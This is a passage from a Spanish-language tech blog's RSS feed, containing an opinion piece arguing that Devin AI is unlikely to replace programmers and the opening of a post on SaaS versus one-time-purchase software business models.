280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;que-va-a-pasar-con-los-programadores-estan-en-riesgo&#34;&gt;¿Qué va a pasar con los programadores? ¿están en riesgo?&lt;/h2&gt;&#xA;&lt;p&gt;Pues, es complicado saberlo con certeza, dada la poca información al respecto. Sin embargo yo propongo un par de escenarios probables:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Devin AI reemplazará a los progamadores y revolucionará la industría.&lt;/li&gt;&#xA;&lt;li&gt;Devin AI no estará a las alturas de las circunstancias y caerá en el olvido.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;devin-ai-reemplazara-a-los-programadores-y-les-quitara-el-trabajo&#34;&gt;Devin AI reemplazará a los programadores y les quitará el trabajo&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;¿Quién crees que ganaría en una batalla por producir más libros? ¿1000 escribas del antiguo Egipto o una fotocopiadora conectada a una computadora?&lt;/p&gt;&#xA;&lt;p&gt;Yo opino que la segunda opción, simplemente las capacidades de la impresora para producir páginas más rápido, con menos errores y en una fracción del tiempo, están más allá de las posibilidades de los escribas. Aunque es cierto que se requiere a una persona que configure y utilice la impresora, eso no implica que los escribas tengan alguna oportunidad. De manera análoga, si bien aún se requerirán programadores y se &amp;ldquo;crearán más trabajos&amp;rdquo; como se afirma usualmente, la verdadera cuestión es: &lt;strong&gt;¿cuantos trabajos se perderán por cada nuevo trabajo que se cree?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/images/Devin-AI-vs-you.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/images/Devin-AI-vs-you.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Imagen de una bota aplastando un rostro humano&#34; width=&#34;700&#34; height=&#34;394&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Sigamos con este experimento mental, supongamos, por un momento, que Devin AI hace exactamente lo que dice. Dado que Devin AI es una herramienta, aún requiere del input de un ser humano para funcionar, por lo que el &amp;ldquo;output&amp;rdquo;, es decir su desempeño, dependerá de que tan bueno sea su &amp;ldquo;input&amp;rdquo;, es decir, la persona que le de las instrucciones.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/images/prompt-engineer.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/images/prompt-engineer.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Winnie the Pohh meme&#34; width=&#34;700&#34; height=&#34;509&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Esto se traduce en que &lt;strong&gt;la profesión de prompt engineer se volverá una realidad&lt;/strong&gt;, y con la consecuencia de que aquellas personas con capacidades superiores de abstracción, escritura y léxico se volverán prácticamente dioses de esta nueva utopia (o distopia, según como lo veas).&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Además, todas aquellas profesiones encargadas de perfeccionar los modelos de AI se volverán profesiones con una altísima demanda, puesto que cualquier empresa que quiera competir y mantenerse a flote necesitará uno.&lt;/p&gt;&#xA;&lt;h4 id=&#34;nuevas-oportunidades-tras-el-fin-de-la-programacion&#34;&gt;Nuevas oportunidades tras el fin de la programación&lt;/h4&gt;&#xA;&lt;p&gt;Conseguir un trabajo si eres nuevo en la industría será bastante complicado, pero al mismo tiempo la barrera para crear negocios digitales disminuirá y será más importante el identificar y resolver problemas. Volverte un solopreneur o un freelance será increíblemente sencillo, pues las habilidades técnicas requeridas se reducirá significativamente y quizás sea mejor que apuntes hacia esa dirección.&lt;/p&gt;&#xA;&lt;p&gt;¿Qué tan probable veo este escenario? La verdad es que &lt;strong&gt;yo lo considero un escenario bastante improbable, casi rayando en lo imposible&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h4 id=&#34;por-que-creo-que-devin-ai-no-reemplazara-a-los-programadores&#34;&gt;¿Por qué creo que Devin AI no reemplazará a los programadores?&lt;/h4&gt;&#xA;&lt;p&gt;Si lo que los creadores de Devin AI dicen, les sería más fácil crear una agencia de desarrollo de software que operara con un mínimo de empleados y limitarse a vender software, la ventaja competitiva que tienen dependería solo del poder de computo que pudieran conseguir, consiguiendo el monopolio en muy poco tiempo.&lt;/p&gt;&#xA;&lt;p&gt;Devin aún no ha sido puesto a prueba en condiciones reales, donde las problemas pueden ser extremadamente complejos y consistir en una mezcla entre el conocimiento del negocio, las leyes vigentes del país donde corren las aplicaciones, el caprichoso comportamiento del mercado, lo cual ciertamente requiere algo más parecido a una AGI, que cualquier modelo de lenguaje que ellos hayan podido desarrollar, incluso si este es superior a la versión más actualizada de ChatGPT.&lt;/p&gt;&#xA;&lt;p&gt;A mi la verdad el título de &amp;ldquo;Ingeniero de Software de AI&amp;rdquo; me parece colocar la barra bastante alto y puede que Devin AI no esté a la altura de las expectativas.&lt;/p&gt;&#xA;&lt;h3 id=&#34;devin-ai-es-solo-hype-temporal-y-sera-olvidado-pronto&#34;&gt;Devin AI es solo hype temporal y será olvidado pronto&lt;/h3&gt;&#xA;&lt;p&gt;La segunda posibilidad es que no pase nada. Sí, nada.&lt;/p&gt;&#xA;&lt;p&gt;Ha sucedido múltiples veces en el pasado; toda gran idea olvidada empieza con la promesa de revolucionar el mundo, tal como sucedió con el no-code o con Dreamweaver (Un editor WYSIWYG para crear sitios web de 2007). Ambas fueron tecnologías que de un momento a otro amenazaron con cambiar para siempre el mundo de la tecnología, y no lo consiguieron.&lt;/p&gt;&#xA;&lt;p&gt;¿Recuerdas &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/daveshap/OpenAI_Agent_Swarm&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Agent Swarm AI&lt;/a&gt;&#xA;? También generó muchas expectativas pero al final no cristalizó en nada.&lt;/p&gt;&#xA;&lt;p&gt;Hasta ahora Copilot, ChatGPT y probablemente Devin AI no han sido más que &amp;ldquo;búsquedas de google&amp;rdquo; con esteroides; pueden darte la información que solicitas directamente, pero no necesariamente es real y a prueba de fallos. El proceso iterativo que ofrece este sistema mejora bastante la dinámica usual de pregunta-respuesta, pero no deja de ser inmune a caer en bucles producto de problemas que no pueda resolver o a producir algo totalmente distinto a lo que se le pide, por ahora necesitamos ponerlo a prueba mucho más.&lt;/p&gt;&#xA;&lt;p&gt;La comunidad de desarrolladores no se han quedado de brazos cruzados y han creado un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/OpenDevin/OpenDevin&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Devin de código abierto, llamedo Open Devin AI&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Además de los puntos anteriores, hay otro aspecto que estamos obviando.&lt;/p&gt;&#xA;&lt;h4 id=&#34;el-aspecto-financiero-de-la-inteligencia-artificial&#34;&gt;El aspecto financiero de la Inteligencia Artificial&lt;/h4&gt;&#xA;&lt;p&gt;Déjame describirte una situación:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Un grupo de emprendedores presentan un producto novedoso.&lt;/li&gt;&#xA;&lt;li&gt;Se viraliza y todos hablan de como cambiará por siempre nuestro día a día&lt;/li&gt;&#xA;&lt;li&gt;Los creadores reciben capital semilla de muchísimos inversionistas&lt;/li&gt;&#xA;&lt;li&gt;Se termina convirtiendo en una herramienta más y todo sigue igual&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;¿Te suena a algo parecido? Quizás Devin AI solo sean un grupo de personas buscando volverse millonarias de la noche a la mañana.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/images/its-all-about-shareholders.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/images/its-all-about-shareholders.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Meme de omniman hablando con su hijo&#34; width=&#34;700&#34; height=&#34;653&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Piensa programador piensa&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Considera que, en el mundo del dinero, las apariencias juegan un rol primordial. Ahora mismo son pocas las personas que han tenido acceso a Devin AI, las cuales hablan maravillas de la herramienta. Suena demasiado bien ¿no? Todo esto podría ser una campaña de marketing muy bien pensada para inflar las expectativas, atraer inversores y conseguir financiamiento &amp;ldquo;fácil&amp;rdquo;. Ya sabes, la clásica &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/el-auge-y-la-caida-de-la-burbuja-de-ai/&#34;&gt;burbuja de AI&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Pero, ¿No acaba Peter Thiel de invertir dinero? Sí, pero eso no significa nada, no estás pensando como inversionista, sino como ingeniero.&lt;/p&gt;&#xA;&lt;p&gt;Si eres un iversionista, no te interesa si el proyecto existe por un mes, dos meses, una década o dos, o siquiera el impacto social que tenga o su viabilidad técnica, lo único importante es que te sea lo suficientemente rentable de acuerdo a tus propios criterios de inversión. En otras palabras: ¿Qué más da si el proyecto muere si puedo convertir 21 MDD en 40 MDD en menos de un año?&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/images/meme-rapper-devin-access.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/images/meme-rapper-devin-access.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Meme del rapper rechazando la primera opción aplicado a Cognition labs&#34; width=&#34;700&#34; height=&#34;604&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Si Devin AI es tan bueno, ¿por qué no usarlo para crear su propia web completa?&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Llama bastante mi atención que la manera de solicitar acceso a Devin AI sea a través de un google form en lugar de usar una App desarrollada con el mismo modelo, lo cual sería la perfecta carta de presentación de esta tecnología. Después de todo, no es como si estuviera fuera de las capacidades de su modelo, no es una aplicación con 1000 microservicios, balanceo de carga, streaming y un engine de recomendaciones, es un banal formulario de registro.&lt;/p&gt;&#xA;&lt;p&gt;De los dos escenarios que te propuse, yo considero más probable aquel en el que Devin AI cae en el olvido como la promesa que nunca dejó de ser, pero esperemos un año o dos y veamos juntos si Devin AI está a la altura de lo que promete. Mi apuesta es que Devin no sustituirá a los programadores.&lt;/p&gt;&#xA;&lt;h2 id=&#34;una-manera-mas-eficiente-de-funcionar-que-la-de-devin-ai&#34;&gt;Una manera más eficiente de funcionar que la de Devin AI&lt;/h2&gt;&#xA;&lt;p&gt;Algunas compañias abandonaron la idea de reemplazar desarrolladores y se enfocaron en volverse herramientas de creación de código, como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/bolt-vs-lovable-vs-v0-vercel-comparando-resultados-y-mi-opinion/&#34;&gt;Bolt, Lovable o V0&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Hoy se popularizó la noticia, de que un &amp;ldquo;Ingeniero de Software AI&amp;rdquo; con el nombre de Devin AI, hecho por &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.cognition-labs.com/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Cognition Labs&lt;/a&gt;&#xA;, estará disponible en el mercado. Y, por supuesto, provocó una fuerte reacción entre la comunidad de profesionales del software. Reacciones que van desde el cinismo hasta el miedo, pasando por la desilusión, abundan en los comentarios de los videos relacionados.&lt;/p&gt;&#xA;&lt;p&gt;Aunque aún estamos lejos de tener una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/chat-gpt-la-habitacion-china-de-searle-y-la-consciencia/&#34;&gt;AI consciente de si misma&lt;/a&gt;&#xA;, lo que sí tenemos son &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/fine-tuning-de-un-llm-guia-practica-con-recursos/&#34;&gt;LLM fine-tuneables&lt;/a&gt;&#xA; con características prometedoras que amenazan con poner patas arriba a la industria de la tecnología.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>SAAS y OTS como modelos de negocios y mi opinión sobre Once</title>
      <link>https://coffeebytes.dev/es/opinion/saas-y-ots-como-modelos-de-negocios-en-software-y-mi-opinion-sobre-once/</link>
      <pubDate>Thu, 22 Feb 2024 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/opinion/saas-y-ots-como-modelos-de-negocios-en-software-y-mi-opinion-sobre-once/</guid>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;No es un secreto que estos últimos días el software, en general, tiende hacia un modelo de negocio SAAS. Sin embargo si estuviste ahí cuando fueron escritas las sagradas escrituras del internet, sabrás que esta tendencia es más bien reciente.&lt;/p&gt;&#xA;&lt;h2 id=&#34;ots-y-software-como-producto-fisico&#34;&gt;OTS y software como producto físico&lt;/h2&gt;&#xA;&lt;p&gt;Cuando internet comenzó a ser usado, era una práctica común vender el software como si fuera un producto cualquiera del supermercado; realizabas un único pago y el producto era tuyo, te pertenencía totalmente y eras libre de usarlo hasta el colapso inevitable de nuestra sociedad moderna.&lt;/p&gt;&#xA;&lt;p&gt;No solo eso, sino que poseías físicamente fuera de los ordenadores; ya sea en forma de CDs, Diskettes y más adelante DVDs.&lt;/p&gt;&#xA;&lt;p&gt;Pero, ¿era esta situación una decisión de las empresas? Bueno, sí y no, permíteme extender un poco este punto.&lt;/p&gt;&#xA;&lt;h3 id=&#34;la-falta-de-metodos-de-pago-y-lentitud-del-internet-de-antano&#34;&gt;La falta de métodos de pago y lentitud del internet de antaño&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Gran parte del software comercial era demasiado pesado, en proporción al tamaño de los dispositivos de almacenamiento, como para que pudiera descargarse sin problemas.&lt;/p&gt;&#xA;&lt;p&gt;Antaño, las conexiones a internet eran increíblemente lentas e inestables, dejando de lado el ruido extraño que precedia a cada conexión, los viejos piratas de la internet saben de que hablo.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/images/slow-internet-connection.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/images/slow-internet-connection.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Pantalla de descarga de windows con un tiempo de espera en años&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Pantalla de descarga de windows con un tiempo de espera en años&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Por lo anterior, numerosas compañias optaron por distribuir su software por medio de CDs u otros medios externos.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/images/photoshop-code-box-and-disk.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/images/photoshop-code-box-and-disk.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Diskettes de instalación de Adobe Photoshop antiguos&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Diskettes de instalación de Adobe Photoshop antiguos&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;realizar-pagos-por-internet-no-era-algo-comun&#34;&gt;Realizar pagos por internet no era algo común&lt;/h3&gt;&#xA;&lt;p&gt;Realizar pagos por internet era algo poco usual, paypal no existía y no había otras compañias que ofrecieran el servicio, además las personas veían con desconfianza el mundo de las transacciones en linea. No los culpo, el HTTPS no existía y ni hablar de estándares criptográficos fuertes que protegieran tus datos personales.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;la-llegada-del-saas-el-modelo-de-pagos-recurrentes-y-el-saas-hell&#34;&gt;La llegada del SAAS, el modelo de pagos recurrentes y el SAAS hell&lt;/h2&gt;&#xA;&lt;p&gt;El panorama cambió e internet evolucionó, o quizás sea mejor decir que se corporativizó.&lt;/p&gt;&#xA;&lt;p&gt;Compañias como Adobe crecieron y se dieron cuenta de que podían ahorrar muchísimo dinero eliminando la logística de distribuir productos físicos y centrarse únicamente en la oferta de su contenido a través la red.&lt;/p&gt;&#xA;&lt;p&gt;Posteriormente, notaron que era más lucrativo rentar el software, probablemente debido a que:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  